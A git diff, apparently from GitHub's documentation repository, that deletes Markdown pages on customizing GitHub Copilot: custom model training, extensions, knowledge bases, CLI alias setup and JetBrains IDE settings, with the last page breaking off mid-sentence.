b/content/copilot/customizing-copilot/creating-a-custom-model-for-github-copilot.md deleted file mode 100644 index 0c2590eb48da..000000000000 --- a/content/copilot/customizing-copilot/creating-a-custom-model-for-github-copilot.md +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: Creating a custom model for GitHub Copilot -shortTitle: Create a custom model -intro: "You can fine-tune {% data variables.product.prodname_copilot_short %} code completion by creating a custom model based on code in your organization's repositories." -permissions: "Owners of organizations enrolled in the {% data variables.release-phases.public_preview %}." -product: '{% data reusables.copilot.ce-product-callout %}' -versions: - feature: copilot-custom-models -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/customizing-copilot-for-your-organization/creating-a-custom-model-for-github-copilot - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/enhancing-copilot-for-your-organization/creating-a-custom-model-for-github-copilot ---- - -> [!NOTE] Custom models for {% data variables.product.prodname_copilot_enterprise %} is in {% data variables.release-phases.public_preview %} and is subject to change. During the {% data variables.release-phases.public_preview %}, there is no additional cost to {% data variables.product.prodname_copilot_enterprise_short %} customers enrolled on the {% data variables.release-phases.public_preview %} for creating or using a custom model. - -## Prerequisite - -The code on which you want to train a custom model must be hosted in repositories owned by your organization on {% data variables.product.github %}. - -## Limitations - -* For the {% data variables.release-phases.public_preview %}, an enterprise can deploy one custom model in a single organization. -* Code completion suggestions based on the custom model are only available to managed users who get a {% data variables.product.prodname_copilot_enterprise_short %} subscription from the organization in which the custom model is deployed. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/managing-iam/understanding-iam-for-enterprises/about-enterprise-managed-users). -* The custom model is not used for code suggested in responses by {% data variables.product.prodname_copilot_chat %}. - -## About {% data variables.product.prodname_copilot_short %} custom models - -By default {% data variables.product.prodname_copilot %} uses a large language model that has been trained on a large number of public code repositories, so that it can provide code completion for a wide range of programming languages in many different contexts. You can use this model as the basis for creating a custom large language model that you train specifically on your own code. This process is often known as fine-tuning. - -By creating a custom model you enable {% data variables.product.prodname_copilot %} to show you code completion suggestions that are: - -* Based on code in your own designated repositories. -* Created for proprietary or less publicly represented programming languages. -* Tailored according to your organization's coding style and guidelines. - -This provides: - -* **Personalization** - {% data variables.product.prodname_copilot_short %} has a detailed knowledge of your codebase, including available modules, functions, and internal libraries. A custom model may be particularly beneficial if your code is not typical of the wide range of code used to train the base model. -* **Efficiency and quality** - {% data variables.product.prodname_copilot_short %} is better equipped to help you write code faster and with fewer errors. -* **Privacy** - The custom model’s training process, hosting and inferencing are secure and private to your organization. Your data always remains yours, is never used to train another customer’s model, and your custom model is never shared. - -### About model creation - -Currently, in the {% data variables.release-phases.public_preview %}, only one organization in an enterprise is permitted to create a custom model. - -As an owner of the organization that's permitted to create a custom model, you can choose which of your organization's repositories to use to train the model. You can train the model on one, several, or all of the repositories in the organization. The model is trained on the content of the default branches of the selected repositories. Optionally, you can specify that only code written in certain programming languages should be used for training. The custom model will be used for generating code completion suggestions in all file types, irrespective of whether that type of file was used for training. - -You can also choose whether telemetry data (such as the prompts entered by users and the suggestions generated by {% data variables.product.prodname_copilot_short %}) should be used when training the model. For more information, see [Telemetry data collection and usage for custom models](#telemetry-data-collection-and-usage-for-custom-models), later in this article. - -Once initiated, custom model creation will take many hours to complete. You can check the progress of the training in your organization's settings. When model creation completes - or if it fails to complete - the person who initiated the model training will be notified by email. - -If model creation fails, {% data variables.product.prodname_copilot_short %} will continue to use the current model for generating code completion suggestions. - -### About model usage - -As soon as the custom model is successfully created, all managed users in your enterprise who get {% data variables.product.prodname_copilot_enterprise_short %} access from the organization in which the custom model is deployed will start to see {% data variables.product.prodname_copilot_short %} code completion suggestions that are generated using the custom model. The custom model will always be used for any code these users edit, irrespective of where the code resides. Users cannot choose which model is used to generate the code completion suggestions they see. - -## When you can benefit from a custom model - -The value of a custom model is most pronounced in environments with: - -* **Proprietary or less publicly represented programming languages** -* **Internal libraries or custom frameworks** -* **Custom standards and company-specific coding practices** - -However, even in standardized environments, fine-tuning offers an opportunity to align {% data variables.product.prodname_copilot_short %} code completion more closely with your organization’s established coding practices and standards. - -## Assess the effectiveness of a custom model - -While some coding environments are more likely to benefit from fine-tuning, there is no guaranteed correlation between specific behaviors in a codebase and the quality of the results you get from a custom model. It is advisable to assess the use and satisfaction levels of {% data variables.product.prodname_copilot %} code completion suggestions before and after the implementation of a custom model. - -* Use the {% data variables.product.prodname_dotcom %} API to assess the usage of {% data variables.product.prodname_copilot %}. See [AUTOTITLE](/rest/copilot/copilot-usage?apiVersion=2022-11-28#get-a-summary-of-copilot-usage-for-an-enterprise-team). -* Survey developers to assess their level of satisfaction with {% data variables.product.prodname_copilot %} code completion suggestions. - -Comparing results from the API and developer survey, from before and after the implementation of a custom model, will give you an indication of the effectiveness of the custom model. - -## Creating a custom model - -You can use your organization settings to create a custom large language model. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}** then click **Custom model**. -1. On the "Custom models" page, click **Train a new custom model**. -1. Under "Select repositories," choose either **Selected repositories** or **All repositories**. - -1. If you chose **Selected repositories**, select the repositories you want to use for training then click **Apply**. -1. Optionally, if you want to train your model only on code written in certain programming languages, under "Specify languages," start typing the name of a language you want to include. Select the required language from the list that's displayed. Repeat the process for each language you want to include. -1. To improve the performance of your model, select the checkbox labeled **Include data from prompts and suggestions**. - - > [!NOTE] - > If the checkbox isn't available to select it indicates that the **Telemetry data collection** policy for custom models has been disabled in your organization's settings. For information on how to change policies for your organization, see [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization#enabling-copilot-features-in-your-organization). - - By selecting this option you allow {% data variables.product.prodname_copilot_short %} to collect data for prompts that user submitted and the code completion suggestions that were generated. Once sufficient data has been collected, {% data variables.product.prodname_copilot_short %} will use this as part of the model training process, allowing it to produce a more effective model. - - For more information, see [Telemetry data collection and usage for custom models](#telemetry-data-collection-and-usage-for-custom-models), later in this article. - -1. Click **Create new custom model**. - -## Checking the progress of model creation - -You can check in your organization settings for an indication of how model creation is progressing. - -1. Go to your organization's settings for {% data variables.product.prodname_copilot_short %} custom models. See [Creating a custom model](#creating-a-custom-model) above. -1. The first time you train a model, the page that's displayed shows the training results. - - If this is not the first training, the current and previous training attempts are listed. To see details of the current training process, click the first ellipsis button (**...**), then click **Training details**. - -## Reasons for training failure - -Model training may fail for a variety of reasons, including: - -* Not enough data or non-representative data. Lack of data provided for training, or too much replication in the data, may make the fine-tuning unstable. -* Non-differentiated data. If the data is not sufficiently different from the public data on which the base model was trained, training may fail or the quality of code completion suggestions from the custom model may be only marginally improved. -* A data preprocessing step may encounter unexpected files types and formats which causes it to fail. A solution may be to specify only certain file types for training. - -## Retraining or deleting the custom model - -As an organization owner, you can update or delete the custom model from your organization's settings page. - -Retraining the model updates it to include any new code that has been added to the repositories you selected for training. You can retrain the model once a week. - -1. Go to your organization's settings for {% data variables.product.prodname_copilot_short %} custom models. See [Creating a custom model](#creating-a-custom-model) above. -1. On the model training page, click the first ellipsis button (**...**), then click either **Retrain model** or **Delete model**. - -If you retrain the model, {% data variables.product.prodname_copilot_short %} will continue to use the current model to generate code completion suggestions until the new model is ready. Once the new model is ready, it will be automatically be used for code completion suggestions for all managed users who get a {% data variables.product.prodname_copilot_enterprise_short %} subscription from the organization. - -If you delete the custom model, {% data variables.product.prodname_copilot_short %} will use the base model for generating code completion suggestions for all users who get a {% data variables.product.prodname_copilot_short %} subscription from the organization. - -## Telemetry data collection and usage for custom models - -When you create a custom model, you can choose to allow {% data variables.product.company_short %} to collect telemetry data for the purposes of training the model. This data is used to improve the quality of the code completion suggestions the model can generate. - -### What telemetry data is collected? - -* **Prompts:** This includes all the information sent to the {% data variables.product.prodname_copilot %} language model by the {% data variables.product.prodname_copilot_short %} extension, including context from your open files. -* **Suggestions:** The code completion suggestions that {% data variables.product.prodname_copilot_short %} generates. -* **Code snippet:** A snapshot of the code 30 seconds after a suggestion is accepted, capturing how the suggestion was integrated into the codebase. This helps determine whether the suggestion was accepted as is or modified by the user before final integration. - -### How is telemetry data used? - -Telemetry data is primarily used to fine-tune the {% data variables.product.prodname_copilot_short %} custom model to better understand and predict your organization’s coding patterns. Specifically, it helps: - -* **Enhance model accuracy:** By analyzing the collected telemetry, {% data variables.product.prodname_copilot_short %} refines your custom model to increase the relevance and accuracy of future coding suggestions. -* **Monitor performance:** Telemetry data allows {% data variables.product.company_short %} to monitor how well custom models are performing compared to the base model, enabling ongoing improvements. -* **Feedback loops:** The data helps {% data variables.product.company_short %} create feedback loops where the model learns from real-world usage, adapting to your specific coding environment over time. - -### Data storage and retention - -* **Data storage:** All telemetry data collected is stored in the {% data variables.product.prodname_copilot_short %} Data Store, a secure and restricted environment. The data is encrypted and isolated to prevent unauthorized access. -* **Retention period:** Telemetry data is retained for a rolling 28-day period. After this period, the data is automatically deleted from {% data variables.product.company_short %}'s systems, ensuring that only recent and relevant data is used for model training and improvement. - -### Privacy and data security - -{% data variables.product.company_short %} is committed to ensuring that your organization’s data remains private and secure. - -* **Exclusive use:** The telemetry data collected from your organization is used exclusively for training your custom model and is never shared with other organizations or used to train other customers’ models. -* **Data leakage prevention:** {% data variables.product.company_short %} implements strict data isolation protocols to prevent cross-contamination between different organizations’ data. This means that your proprietary code and information are protected from exposure to other organizations or individuals. - -### Important considerations - -* **Opt-in for telemetry:** Participation in telemetry data collection is optional and controlled via your organization’s admin policies. Telemetry data is only collected when explicitly enabled for training custom models. -* **Potential risks:** Although {% data variables.product.company_short %} takes extensive measures to prevent data leakage, there are scenarios where sensitive data, such as internal links or names, could be included in the telemetry and subsequently used in training. We recommend reviewing and filtering the data you submit for training to minimize these risks. - - For more details about our data-handling practices, see the [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center) or review {% data variables.product.company_short %}’s [data protection agreement](https://github.com/customer-terms/github-data-protection-agreement). diff --git a/content/copilot/customizing-copilot/extending-the-capabilities-of-github-copilot-in-your-organization.md b/content/copilot/customizing-copilot/extending-the-capabilities-of-github-copilot-in-your-organization.md deleted file mode 100644 index 85c449c3c651..000000000000 --- a/content/copilot/customizing-copilot/extending-the-capabilities-of-github-copilot-in-your-organization.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Extending the capabilities of GitHub Copilot in your organization -shortTitle: Install extensions -intro: 'You can add additional functionality to {% data variables.product.prodname_copilot_short %} in your organization, by installing certain {% data variables.product.prodname_github_apps %} from {% data variables.product.prodname_marketplace %}.' -product: 'Organization owners can install {% data variables.product.prodname_copilot_extensions %} for an organization.' -versions: - feature: copilot-extensions -topics: - - Copilot -type: how_to -redirect_from: - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/customizing-copilot-for-your-organization/extending-the-capabilities-of-github-copilot-in-your-organization - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/enhancing-copilot-for-your-organization/extending-the-capabilities-of-github-copilot-in-your-organization - - /copilot/github-copilot-chat/github-copilot-extensions/installing-github-copilot-extensions-for-your-organization - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/installing-github-copilot-extensions-for-your-organization - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/enhancing-copilot-for-your-organization/installing-github-copilot-extensions-for-your-organization ---- - -## About {% data variables.product.prodname_copilot_extensions %} for your organization - -{% data reusables.copilot.copilot-extensions.copilot-extensions-on-marketplace %} - -Any organization owner can install {% data variables.product.prodname_copilot_extensions_short %} for their organization, but your organization must have an active {% data variables.product.prodname_copilot_business_short %} or {% data variables.product.prodname_copilot_enterprise_short %} subscription. - -> [!NOTE] Anyone can install a {% data variables.product.prodname_copilot_extension_short %} on their personal account. However, if they get access to {% data variables.product.prodname_copilot_short %} through a {% data variables.product.prodname_copilot_business_short %} or {% data variables.product.prodname_copilot_enterprise_short %} subscription, they will only be able to use the extension if it is installed at the organization level. - -You can also create your own custom {% data variables.product.prodname_copilot_extensions_short %} for your organization. For more information, see [AUTOTITLE](/copilot/building-copilot-extensions/about-building-copilot-extensions). - -## Prerequisites - -Before you install any {% data variables.product.prodname_copilot_extensions_short %} in your organization, you should set a usage policy for {% data variables.product.prodname_copilot_extensions_short %} at the {% ifversion ghec %}enterprise or {% endif %}organization level. See [AUTOTITLE](/copilot/github-copilot-chat/github-copilot-extensions/managing-github-copilot-extensions). - -## Installing {% data variables.product.prodname_copilot_extensions %} for your organization - -1. Open [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=apps&copilot_app=true). -1. In the left sidebar, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}**. -1. In the list of {% data variables.product.prodname_copilot_extensions_short %}, locate an app you'd like to install. -1. To install the {% data variables.product.prodname_copilot_extension_short %} on an organization with a {% data variables.product.prodname_copilot_business_short %} or {% data variables.product.prodname_copilot_enterprise_short %} subscription, see [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-organizations). -{% data reusables.copilot.copilot-extensions.extension-specific-onboarding-steps %} - -## Next steps - -After installing a {% data variables.product.prodname_copilot_extension_short %} for your organization, developers in your organization can start using the extension. See [AUTOTITLE](/copilot/github-copilot-chat/github-copilot-extensions/using-github-copilot-extensions). - -You can also manage the permissions of installed {% data variables.product.prodname_copilot_extensions_short %}. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization#managing-permissions-for-a-github-copilot-extension-in-your-organization). diff --git a/content/copilot/customizing-copilot/index.md b/content/copilot/customizing-copilot/index.md deleted file mode 100644 index d35de55300fa..000000000000 --- a/content/copilot/customizing-copilot/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Customizing Copilot -shortTitle: Customize Copilot -intro: 'You can customize {% data variables.product.prodname_copilot %} to make it fit your specific needs.' -versions: - feature: copilot -topics: - - Copilot -children: - - /extending-the-capabilities-of-github-copilot-in-your-organization - - /adding-repository-custom-instructions-for-github-copilot - - /adding-personal-custom-instructions-for-github-copilot - - /managing-copilot-knowledge-bases - - /creating-a-custom-model-for-github-copilot -redirect_from: - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/customizing-copilot-for-your-organization - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/enhancing-copilot-for-your-organization ---- diff --git a/content/copilot/customizing-copilot/managing-copilot-knowledge-bases.md b/content/copilot/customizing-copilot/managing-copilot-knowledge-bases.md deleted file mode 100644 index 69b7ea3db638..000000000000 --- a/content/copilot/customizing-copilot/managing-copilot-knowledge-bases.md +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Managing Copilot knowledge bases -shortTitle: Manage knowledge bases -intro: 'Organization owners can create a knowledge base bringing together Markdown documentation across one or more repositories, and then organization members can use that knowledge base as context for {% data variables.product.prodname_copilot_chat_dotcom_short %}.' -versions: - ghec: '*' -product: '{% data reusables.copilot.ce-product-callout %}' -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/customizing-copilot-for-your-organization/managing-copilot-knowledge-bases - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/enhancing-copilot-for-your-organization/managing-copilot-knowledge-bases - - /copilot/github-copilot-enterprise/copilot-docset-management/creating-private-docsets - - /copilot/github-copilot-enterprise/copilot-docset-management - - /copilot/github-copilot-enterprise/copilot-chat-in-github/managing-copilot-knowledge-bases - - /copilot/github-copilot-chat/copilot-chat-in-github/managing-copilot-knowledge-bases - - /copilot/github-copilot-enterprise/managing-copilot-knowledge-bases - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-copilot-knowledge-bases - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/managing-copilot-knowledge-bases ---- - -{% ifversion fpt %} - -{% data reusables.rai.copilot.enterprise-fpt-link %} - -{% endif %} - -## About knowledge bases - -Organization owners can create knowledge bases, bringing together Markdown documentation across one or more repositories. Organization members can then specify that knowledge base as the context for {% data variables.product.prodname_copilot_chat_dotcom_short %}, {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vscode %}, and {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vs %}. - -When you ask a question in {% data variables.product.prodname_copilot_chat %} with a knowledge base selected, {% data variables.product.prodname_copilot %} will search the knowledge base for relevant information and synthesize a response. - -For more information on how to use knowledge bases in {% data variables.product.prodname_copilot_chat_short %}, see [AUTOTITLE](/copilot/github-copilot-chat/copilot-chat-in-github/using-github-copilot-chat-in-githubcom#asking-a-question-about-a-knowledge-base) and [AUTOTITLE](/copilot/github-copilot-chat/copilot-chat-in-ides/using-github-copilot-chat-in-your-ide#asking-a-question-about-a-knowledge-base-in-github-copilot-chat). - -## Creating a knowledge base - -You can create a knowledge base from a single repository or a selection of repositories. You can create a knowledge base using public, private, and/or internal repositories. - -Knowledge bases you create will be accessible by all organization members with a {% data variables.product.prodname_copilot_enterprise %} subscription. When an organization member uses a knowledge base as context in {% data variables.product.prodname_copilot_chat %}, the response will only use data from repositories that the organization member has read access to. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} - -1. In the left sidebar, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}** then click **Knowledge bases**. -1. To the right of "Knowledge bases", click **New knowledge base**. -1. In the "Name" field, enter a unique name for the knowledge base. Optionally, in the "Description" field, you can add a description for the knowledge base. - - ![Screenshot of the "New knowledge base" page.](/assets/images/help/copilot/copilot-create-knowledge-base-page.png) - -1. Under "Content", to see a full list of available repositories, click **Select repositories**. - - ![Screenshot of the "Select repositories" page. The "Select repositories" page is highlighted with a dark orange outline.](/assets/images/help/copilot/copilot-select-repositories-button.png) - -1. To select a repository or repositories, click the checkbox next to the repository name. When you're finished selecting repositories, click **Apply**. - - ![Screenshot of the "Select repositories" page.](/assets/images/help/copilot/copilot-select-repositories-page.png) - -1. Optionally, you can specify particular paths within the selected repositories for searches. When a search is conducted using the knowledge base, only the files located in those designated paths will be included in the results. For more information on specifying repository paths, see [AUTOTITLE](/search-github/github-code-search/understanding-github-code-search-syntax#path-qualifier) - - * Click **Edit file paths**. - - ![Screenshot of the list of selected repositories. The "Edit file paths" link is highlighted with a dark orange outline.](/assets/images/help/copilot/copilot-select-paths-button.png) - - * List the paths you want to include in the knowledge base, one path per line. When you're finished, click **Apply**. - -1. Click **Create knowledge base**. - -## Updating a knowledge base - -Organization owners can update a knowledge base created in their organization. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} - -1. In the left sidebar, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}** then click **Knowledge bases**. -1. To the right of the knowledge base you want to edit, click {% octicon "pencil" aria-label="The pencil symbol" %}. -1. Make your desired changes to your knowledge base. -1. Click **Update knowledge base**. - -## Deleting a knowledge base - -Organization owners can delete a knowledge base created in their organization. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} - -1. In the left sidebar, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}** then click **Knowledge bases**. -1. To the right of the knowledge base you want to delete, click {% octicon "trash" aria-label="The trash symbol" %}. -1. In the "Confirm deletion" dialog box, review the information and click **Delete**. diff --git a/content/copilot/index.md b/content/copilot/index.md deleted file mode 100644 index 5192d01b4234..000000000000 --- a/content/copilot/index.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: '{% data variables.product.prodname_copilot %} documentation' -shortTitle: '{% data variables.product.prodname_copilot %}' -intro: 'You can use {% data variables.product.prodname_copilot %} to get autocomplete-style suggestions from an AI pair programmer as you code.' -redirect_from: - - /github/copilot -changelog: - label: copilot -introLinks: - overview: /copilot/about-github-copilot/what-is-github-copilot - quickstart: /copilot/quickstart -featuredLinks: - startHere: - - /copilot/about-github-copilot/what-is-github-copilot - - /copilot/quickstart - - /copilot/building-copilot-extensions/quickstart-for-github-copilot-extensions-using-agents - popular: - - /copilot/using-github-copilot/best-practices-for-using-github-copilot - - /copilot/copilot-chat-cookbook - - /copilot/using-github-copilot/getting-code-suggestions-in-your-ide-with-github-copilot - - /copilot/using-github-copilot/copilot-chat/asking-github-copilot-questions-in-your-ide - - /copilot/using-github-copilot/using-github-copilot-in-the-command-line -layout: product-landing -versions: - feature: copilot -children: - - /quickstart - - /about-github-copilot - - /setting-up-github-copilot - - /using-github-copilot - - /copilot-chat-cookbook - - /managing-copilot - - /rolling-out-github-copilot-at-scale - - /customizing-copilot - - /building-copilot-extensions - - /troubleshooting-github-copilot - - /responsible-use-of-github-copilot-features -topics: - - Copilot ---- diff --git a/content/copilot/managing-copilot/configure-personal-settings/configuring-github-copilot-in-the-cli.md b/content/copilot/managing-copilot/configure-personal-settings/configuring-github-copilot-in-the-cli.md deleted file mode 100644 index 55e66b026eeb..000000000000 --- a/content/copilot/managing-copilot/configure-personal-settings/configuring-github-copilot-in-the-cli.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Configuring GitHub Copilot in the CLI -shortTitle: Configure in the CLI -intro: 'Learn how to configure settings and set up aliases for {% data variables.product.prodname_copilot_cli_short %}.' -versions: - feature: copilot-in-the-cli -topics: - - Copilot - - CLI -redirect_from: - - /copilot/github-copilot-in-the-cli/configuring-github-copilot-in-the-cli ---- - -## Setting up aliases - -You can create aliases for {% data variables.product.prodname_copilot_cli_short %} to reduce keystrokes, and to allow {% data variables.product.prodname_copilot_cli_short %} to execute commands on your behalf. - -To allow {% data variables.product.prodname_copilot_cli_short %} to execute commands, you must run the following commands to create the aliases (as opposed to creating an alias like you would for another shell command). - -After executing the following commands to create the aliases, you can run `ghcs` and `ghce` instead of `gh copilot suggest` and `gh copilot explain`. - -### Bash - -```shell copy -echo 'eval "$(gh copilot alias -- bash)"' >> ~/.bashrc -``` - -### PowerShell - -```shell copy -$GH_COPILOT_PROFILE = Join-Path -Path $(Split-Path -Path $PROFILE -Parent) -ChildPath "gh-copilot.ps1" -gh copilot alias -- pwsh | Out-File ( New-Item -Path $GH_COPILOT_PROFILE -Force ) -echo ". `"$GH_COPILOT_PROFILE`"" >> $PROFILE -``` - -### Zsh - -```shell copy -echo 'eval "$(gh copilot alias -- zsh)"' >> ~/.zshrc -``` - -## Changing the default execution confirmation - -When you use the `ghcs` alias and you select **Execute command**, {% data variables.product.prodname_copilot_cli_short %} will ask for confirmation before executing the command. You can change the default confirmation. - -1. Execute the following command: - - ```shell copy - gh copilot config - ``` - -1. Select **Default value for confirming command execution**. -1. Choose the desired default. - -## Changing usage analytics - -Unless you opt out, {% data variables.product.prodname_copilot_cli_short %} will send a payload in the format below to the analytics system. This data helps improve the product. {% data variables.product.company_short %} does not look at the data of specific individuals or at specific queries. - -```json -{ - "platform": "darwin", - "architecture": "arm64", - "version": "0.3.0-beta", - "custom_event": "true", - "event_parent_command": "explain", - "event_name": "Explain", - "sha": "089a53215fc4383179869f7f6132ce9d6e58754a", - "thread_id": "e61d0d08-f6ba-465b-81cf-c30fd9127d70" -} -``` - -To opt in or out of data collection: - -1. Execute the following command: - - ```shell copy - gh copilot config - ``` - -1. Select **Optional Usage Analytics**. -1. Choose the desired default. diff --git a/content/copilot/managing-copilot/configure-personal-settings/configuring-github-copilot-in-your-environment.md b/content/copilot/managing-copilot/configure-personal-settings/configuring-github-copilot-in-your-environment.md deleted file mode 100644 index d7b716d95fc0..000000000000 --- a/content/copilot/managing-copilot/configure-personal-settings/configuring-github-copilot-in-your-environment.md +++ /dev/null @@ -1,481 +0,0 @@ ---- -title: Configuring GitHub Copilot in your environment -shortTitle: Configure in your environment -intro: 'You can enable, configure, or disable {% data variables.product.prodname_copilot %} in a supported IDE.' -redirect_from: - - /copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio - - /copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code - - /copilot/configuring-github-copilot/configuring-github-copilot-in-a-jetbrains-ide - - /copilot/configuring-github-copilot/configuring-github-copilot-in-neovim - - /copilot/configuring-github-copilot/configuring-github-copilot-in-your-environment -topics: - - Copilot -versions: - feature: copilot ---- - -{% jetbrains %} - -## About {% data variables.product.prodname_copilot %} in JetBrains IDEs - -If you use a JetBrains IDE, {% data variables.product.prodname_copilot %} can help you with a variety of tasks, including generating code suggestions, explaining how the code in your editor works, and suggesting code fixes. After installation, you can enable or disable {% data variables.product.prodname_copilot %}, and you can configure advanced settings within your IDE or on {% data variables.product.github %}. This article describes how to configure {% data variables.product.prodname_copilot %} in the IntelliJ IDE, but the user interfaces of other JetBrains IDEs may differ. - -## Prerequisites - -To configure {% data variables.product.prodname_copilot %} in a JetBrains IDE, you must install the {% data variables.product.prodname_copilot %} plugin. For more information, see [AUTOTITLE](/copilot/using-github-copilot/getting-started-with-github-copilot?tool=jetbrains). - -## Using or rebinding keyboard shortcuts for {% data variables.product.prodname_copilot %} - -You can use the default keyboard shortcuts for inline suggestions in your JetBrains IDE when using {% data variables.product.prodname_copilot %}. Alternatively, you can rebind the shortcuts to your preferred keyboard shortcuts for each specific command. For more information on rebinding keyboard shortcuts in your JetBrains IDE, see the JetBrains documentation. For example, you can view the [IntelliJ IDEA](https://www.jetbrains.com/help/idea/mastering-keyboard-shortcuts.html#choose-keymap) documentation. - -### Keyboard shortcuts for macOS - -| Action | Shortcut | -|:---|:---| -|Accept an inline suggestion|<kbd>Tab</kbd>| -|Dismiss an inline suggestion|<kbd>Esc</kbd>| -|Show next inline suggestion|<kbd>Option (⌥) or Alt</kbd>+<kbd>]</kbd>| -|Show previous inline suggestion|<kbd>Option (⌥) or Alt</kbd>+<kbd>[</kbd>| -|Trigger inline suggestion|<kbd>Option (⌥)</kbd>+<kbd>\\</kbd>| -|Open {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|<kbd>Option (⌥) or Alt</kbd>+<kbd>Return</kbd> | - -### Keyboard shortcuts for Windows - -| Action | Shortcut | -|:---|:---| -|Accept an inline suggestion|<kbd>Tab</kbd>| -|Dismiss an inline suggestion|<kbd>Esc</kbd>| -|Show next inline suggestion|<kbd>Alt</kbd>+<kbd>]</kbd>| -|Show previous inline suggestion|<kbd>Alt</kbd>+<kbd>[</kbd>| -|Trigger inline suggestion|<kbd>Alt</kbd>+<kbd>\\</kbd>| -|Open {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|<kbd>Alt</kbd>+<kbd>Enter</kbd> | - -### Keyboard shortcuts for Linux - -| Action | Shortcut | -|:---|:---| -|Accept an inline suggestion|<kbd>Tab</kbd>| -|Dismiss an inline suggestion|<kbd>Esc</kbd>| -|Show next inline suggestion|<kbd>Alt</kbd>+<kbd>]</kbd>| -|Show previous inline suggestion|<kbd>Alt</kbd>+<kbd>[</kbd>| -|Trigger inline suggestion|<kbd>Alt</kbd>+<kbd>\\</kbd>| -|Open {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|<kbd>Alt</kbd>+<kbd>Enter</kbd> | - -## Enabling or disabling {% data variables.product.prodname_copilot %} - -You can enable or disable {% data variables.product.prodname_copilot %} from within your JetBrains IDE. The {% data variables.product.prodname_copilot %} status icon in the bottom panel of the JetBrains window indicates whether {% data variables.product.prodname_copilot %} is enabled or disabled. When enabled, the icon is highlighted. When disabled, the icon is grayed out. - -1. To enable or disable {% data variables.product.prodname_copilot %}, click the status icon in the bottom panel on the right of the JetBrains window. - - ![Screenshot of the bottom panel in a JetBrains IDE. The {% data variables.product.prodname_copilot %} status icon is outlined in dark orange.](/assets/images/help/copilot/status-icon-jetbrains.png) - -1. If you are disabling {% data variables.product.prodname_copilot %}, you will be asked whether you want to disable it globally, or for the language of the file you are currently editing. To disable globally, click **Disable Completions**. Alternatively, click the language-specific button to disable {% data variables.product.prodname_copilot %} for the specified language. - - ![Screenshot of the menu to disable {% data variables.product.prodname_copilot %} globally or for the current language in a JetBrains IDE.](/assets/images/help/copilot/disable-copilot-global-or-language-jetbrains.png) - -## Configuring advanced settings for {% data variables.product.prodname_copilot %} - -You can manage advanced settings for {% data variables.product.prodname_copilot %} in your JetBrains IDE, such as how your IDE displays code completions, and which languages you want to enable or disable for {% data variables.product.prodname_copilot %}. - -{% data reusables.copilot.jetbrains-settings %} -{% data reusables.copilot.jetbrains-languages-and-frameworks %} -1. Edit the settings according to your personal preferences. - * To adjust the behavior and appearance of code suggestions, and whether to automatically check for updates, select or deselect the corresponding checkboxes. - * If you have selected to receive automatic updates, you can choose whether to receive stable, but less frequent updates, or nightly updates, which may be less stable. Click the **Update channel** dropdown and select **Stable** for stable updates, or **Nightly** for nightly updates. - -## Configuring language settings for {% data variables.product.prodname_copilot %} - -You can specify which languages you want to activate or deactivate {% data variables.product.prodname_copilot %} for either in the IDE or by editing your `github-copilot.xml` file. If you make changes to language settings in your IDE, you can individually select and deselect the languages you want to activate or deactivate. - -If you make changes to the language settings in your `github-copilot.xml` file, you can specify individual languages, or you can use a wildcard to activate or deactivate {% data variables.product.prodname_copilot %} for all languages. You can also specify exceptions, which will override the wild card setting for the specified languages. For example, you can deactivate {% data variables.product.prodname_copilot %} for all languages, except for Python and YAML. By default, when you install the {% data variables.product.prodname_copilot %} extension, {% data variables.product.prodname_copilot %} is activated for all languages. - -### Configuring language settings in the IDE - -{% data reusables.copilot.jetbrains-settings %} -{% data reusables.copilot.jetbrains-languages-and-frameworks %} -1. Under "Languages," select or deselect the checkboxes for the languages you want to activate or deactivate {% data variables.product.prodname_copilot %} for. -1. Click **Apply**, and then click **OK**. -1. Restart your JetBrains IDE for the changes to take effect. - -### Editing your `github-copilot.xml` file - -To configure language settings in the `github-copilot.xml` file, you must edit the `languageAllowList`. Every line you 